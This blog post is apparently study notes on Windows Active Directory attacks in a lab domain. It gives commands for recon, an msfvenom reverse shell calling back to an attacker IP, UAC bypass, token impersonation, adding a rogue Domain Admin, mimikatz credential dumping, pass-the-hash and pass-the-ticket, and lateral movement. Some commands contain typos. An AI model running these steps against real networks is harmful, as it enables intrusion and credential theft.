4.域安全
Windows内网和域的介绍
一般是企业的Windows server
基本概念
工作组:work group,一种资源管理方式
ping计算机名和ping IP效果差不多,虽然是ipv6地址
域:Domain
域控制器:Domain Controller(DC),对于多台主机进行管理,分配账号和某些权限;域和域之间也可以添加互相信任,相互管理、打印资料或通信
域分类:单域、父域和子域、多域(树)、域林
域中计算机分类
DC、成员服务器、客户机、独立服务器;DC是必须的,因为安装了活动目录(AD,Active Directory)
DC:用户访问操作验证
成员服务器:安装了服务器的操作系统并加入域,但没有安装AD
客户机:普通用户,公司员工
独立服务器:普通服务器,和域没有关系,也没有AD,自己就是一个工作组
域内权限
组group:
域本地组:多域用户,访问单域资源;来自域林作用于本地
全局组:单域用户访问多域资源;来自本域作用全林
通用组:多域用户,访问多域的资源;来自全林作用全林
活动目录
Active Directory(AD)
职能:客户计算机管理、用户服务、资源管理、桌面配置、应用系统支撑
可以理解为网吧的网管
DMZ
隔离区,非军事化区(Internet—DMZ—内网)
一般放防火墙,FTP服务器、企业服务器等
域的搭建和成员加入
192.168.223.180(windows 2012)作为DC,192.168.223.181(windows 2008)加入DC
DC(192.168.223.180)
控制面板—网络和共享中心—更改适配器设置—右键属性,在ipv4里将自己的ip和DNS服务器固定为自己的IP,此时IP固定,在高级系统设置中修改计算机名为DC-1,然后重启
记得把服务器密码设置永不过期,不然每次重启都要改密码
在服务器管理器中添加角色和功能,也就是起一个服务,从服务器池中选择服务器,安装Active Directory域服务和DNS服务器,一直下一步,点上如果需要自动重启
重启服务器,点击右上角的旗子,将此服务器提升为域控制服务器
由于现在没有域,添加新林,根域名为test1.com,林和域的功能级别是向下兼容的,同时设置DSRM密码为Test123!,一直点击下一步
在路径那边,可以看到数据库文件夹为C:\\Windows\NTDS
,日志文件文件夹为C:\\Windows\NTDS
,SYSVOL文件夹为C:\\Windows\SYSVOL
,然后一直下一步即可,之后重启
此时计算机名修改为DC-1.test1.com
,同时也多了很多管理工具,点击Active Directory用户和计算机
在里面的Users中新建组为group1,也可以新建一个用户user1,用户登录名为user1@test1.com,并设置密码Test123!,同时密码永不过期
加入用户(192.168.223.181)
首先将计算机名修改为win2008-1,固定网络共享的IP地址为自己,但是DNS服务器为DC服务器IP,设置完后重启一下,之后ping一下域名 dc-1.test1.com
,可以ping通然后解析到DC的IP
然后再将计算机的域更改到test1.com
,此时要求输入有权限加入该域的账号和密码,使用之前创建的user1的账户和密码,进入后重启计算机,切换到域内用户
域内信息搜集
登陆一般在企业不使用administrator账户,而是域内的user1用户,假设已经拿到该用户权限
1.对服务器的角色进行判断
在cmd中whoami
和ipconfig /all
,对主机名、主DNS后缀(域内名字),DNS服务器,由于在搭建中DNS服务器和DC多数绑定,所以我们通过DNS服务器推测DC的IP;SID(唯一标识符)
systeminfo
,查看服务器系统,并且获得登陆服务器的名字和域(DC-1)
wmic product get name,version
找到装载的程序
wmic service list brief
查看本机服务,通过服务看到有无注入/有漏洞的服务
tasklist
查看进程,可能连接的不会是图形界面,如果看到有杀软可以针对杀软进行免杀
vmic startup get command,caption
查看开机自启动的东西
schtasks /query /fo LIST /v
查看计划任务
net statistics workstation
查询主机开机时间
net user
查看本机用户(Administrator),和登陆用户不一样,说明是域用户登陆
net localgroup administrators
发现其他用户,查看人类最高用户表中有哪些成员等
query user || qwinsta
查看当前在线的用户
net session
列出断开本机和连接用户的对话
net -ano
查看开放的端口
net share
查看是否开放域共享列表
route print
查看路由表,显示网关和路由目标等
arp -a
查看当前内网中有多少设备
2.搜集域信息
net user user1 /domain
查看user1用户在域中的信息以及目前所在域的名字
net config workstation
搜索计算机名和全名以及目前所在域的名字
net time /domain
查看域内时间(如果存在域且在域内则会返回域内时间,如果存在域内但不是用户则命令不会成功),同时返回DC的全名
ping dc-1.test1.com
通过查看DC全名进行ping,获得DNS服务器IP
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.223.%I | findstr "TTL="
对内网中的设备ping一次,利用该主机搜集主机存活
net group /domain
请求域控进行处理,获得域控上有哪些用户组和DC全名
Domain Admins //域管理员
Domain Computers //域机器
Domain Controllers //域控
Domain Guests //域访客
Doamin Users //域用户
Enterprise Admins //企业系统的管理员用户
net group "domain computers" /domain
请求域控返回当前域的其他成员
net accounts /domain
密码的使用时间,用户到期后注销等
nltest /domain_trusts
获得域信任关系
nltest /DCLIST:test1
从其中获得Default-First-Site-Name,即域控是谁
nslookup -type=SRV_ldap._tcp
获得域名解析信息,即DNS服务器IP
net group "Domain Controllers" /domain
或者netdom query dc
确认DC的计算机名
wmic useraccount get /all
查看域内用户的详细信息
uac提权
UAC:在Windows上读写数据库,Windows目录、更改账户信息等操作会跳出来输入用户名和密码认证
在通过msf拿到服务器权限后进行操作
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.223.131 lport=4444 -f exe > msf.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.223.131
exploit
# 上线后放在后台
background
sessions
use exploit/windows/local/bypassuac
set session 1
run
如果无法使用,通过back返回使用另一种方法
use exploit/windows/local/ask
set session 1
run
此时如果可以uac提权会跳出用户框,诱导用户输入管理员账号和密码;之后会建立新的链接,此时多了一个session权限为Administrator
这时候就可以通过getsystem
进行提权到system
令牌认识
令牌=token,系统中的临时密钥,决定发起请求的是哪个用户,使得在不提供密码等其他凭据时访问域网络,但是具有随机性,所以一般无法利用工具猜解
伪造令牌:核心为kerberos协议
进入一个session,通过拥有administrator权限套取system权限或者域控
use incognito
list_tokens -u
//看到令牌的数量,Delegation Tokens表示授权令牌,支持交互式登陆;Impersonation Tokens,模拟令牌,非交互式;权限越高看到的令牌越多
impersonate_token 'NT AUTHORITY\SYSTEM'
impersonate_token Test1\\Administrator
出现successfully impersonated
纵向移动
当我们获得其中一台计算机的system权限后,我们尝试进行纵向迁移到域控的administrator中去
//看一下服务器的进程
ps
//发现域管理员控制的进程的PID是2772,迁移过去
migrate 1880
通过migrate就可以拥有进程所有者的权限,此时拥有域控权限
如果无法迁移,则使用incognito
//进入隐身模式
use incognito
//查看哪些权限可以使用
list_tokens -u
//使用域管理员用户
impersonate_token TEST1\\Administrator
//此时可以随意添加用户名和密码
add_user zyx Test123! -h 192.168.223.180
//将该用户在域中提权,提升到域控
add_group_user "domain admins" zyx -h 192.168.223.180
//此时进入shell可以看到该用户就在管理员
net group "domain admins"
横向移动
在入侵某台域内计算机后获得system权限后,拿到域控用户
use incognito
list_tokens -u
impersonate_token TEST1\\Administrator
通过建立网络映射或者在命令行中使用
//映射网络驱动
\\192.168.223.180\c$
//命令行进行共享
net use \\192.168.223.180\c$ "Test123!" /user:zyx
//查看共享情况
net use
//查看共享文件夹
dir \\192.168.223.180\c$
type \\192.168.223.180\c$\haha.txt
由于对方开启了135和445端口,也可以使用ipc$进行共享
net use \\192.168.223.180\ipc$ "Test123!" /user:zyx
# 查看进程
tasklist /S 192.168.223.180 /U zyx /P Test123!
此时低权限用户也可以执行命令
//复制文件
copy a.txt \\192.168.223.180\c$
//计划任务,让域服务器执行ipconfig并将内容输出到当前服务器的c:/1.txt中
at \\192.168.223.180 9:51PM cmd.exe /c "ipconfig > c:/1.txt"
//系统版本较新,直接执行当前服务器上c:/a.bat的文件
schtasks /create /S 192.168.223.180 /tn haha /sc onstart /tr c:/a.bat /ru system /f
mimikatz使用
小知识
Windows散列值获取:在域环境中用户的信息存储在ntds.dit,加密后为散列值
Windows密码一般由两部分组成,为LM Hash和NTLM Hash,hash结构为user1:RID:LM-HASH:NT-HASH
LM实际上是一个DES加密,密码被限定在14位以内
NTLM为了提高兼容性和安全性,基于md4加密,在Windows XP系列后多数是NTLM
mimikatz使用
新版kali自带,默认在 /usr/share/windows-resources/mimikatz/x64
,将其打包放在对方电脑即可
//进入mimikatz文件夹
mimikatz "privilege::debug" "log" "sekurlsa::logonpasswords"
//2008之前的密码可以直接读取,2008之后则是乱码或者NULL,且使用时至少是administrator权限
privilege::debug:将所有能读到的密码全部变成debug模式;log:使用日志;sekurlsa::logonpasswords:相当于注入并获得密码
pass-the-hash
如果在Windows2012版本以上使用mimikatz,则会显示乱码或者NULL,但是我们依然会获得NTLM的hash值,对其进行破解
//进入mimikatz文件夹,获取DC的NTLM值
mimikatz "privilege::debug" "log" "sekurlsa::logonpasswords"
//383fe399326a954a97f73781553ae73d
mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:test1.com /ntlm:383fe399326a954a97f73781553ae73d"
此时会告诉我们利用该ntlm以administrator身份创建了一个cmd.exe,并告诉我们进程号,同时该服务器会自动弹一个mimikatz创建的cmd,权限为system,可以控制DC
AES256获取
//aes256的hash
mimikatz "privilege::debug" "sekurlsa::"ekeys"
//对dc-1$用户的aes256进行pass-the-hash
mimikatz "privilege::debug" "sekurlsa::pth /user:zyx /domain:test1.com /aes256:23b489fcab9874c2d891a8dfc3dfd5a44aed27c6bd7f77d325b6b8ac01190a71"
通过拥有域内计算机的administrator来获取DC权限,如
dir \\dc-1\c$
票据传递
//进入mimikatz
mimikatz
//进入debug模式
privilege::debug
//票据导出,是导出到当前x64文件夹,后缀为kirbi
sekurlsa::tickets /export
//清理内存中的票据
kerberos::purge
//把票据注入到内存
kerberos::ptt "c:\x64\[0;3a6a4]-2-0-40e10000-Administrator@krbtgt-TEST1.COM.kirbi
此时退出mimikatz直接就有操作DC的权限,即当前cmd已经有administrator权限
wmic命令执行
使用wmic命令,在拥有DC用户权限时进行横向移动
wmic /node:192.168.223.180 /user:zyx /password:Test123! process call create "cmd.exe /c ipconfig > c:\ip.txt"
此时可以借助zyx的DC账户控制DC-1的主域控用户,通过查看ip.txt进行验证
type \\dc-1\$c\ip.txt
本文来自博客园,作者:icui4cu,转载请注明原文链接:https://www.cnblogs.com/icui4cu/p/16188135.html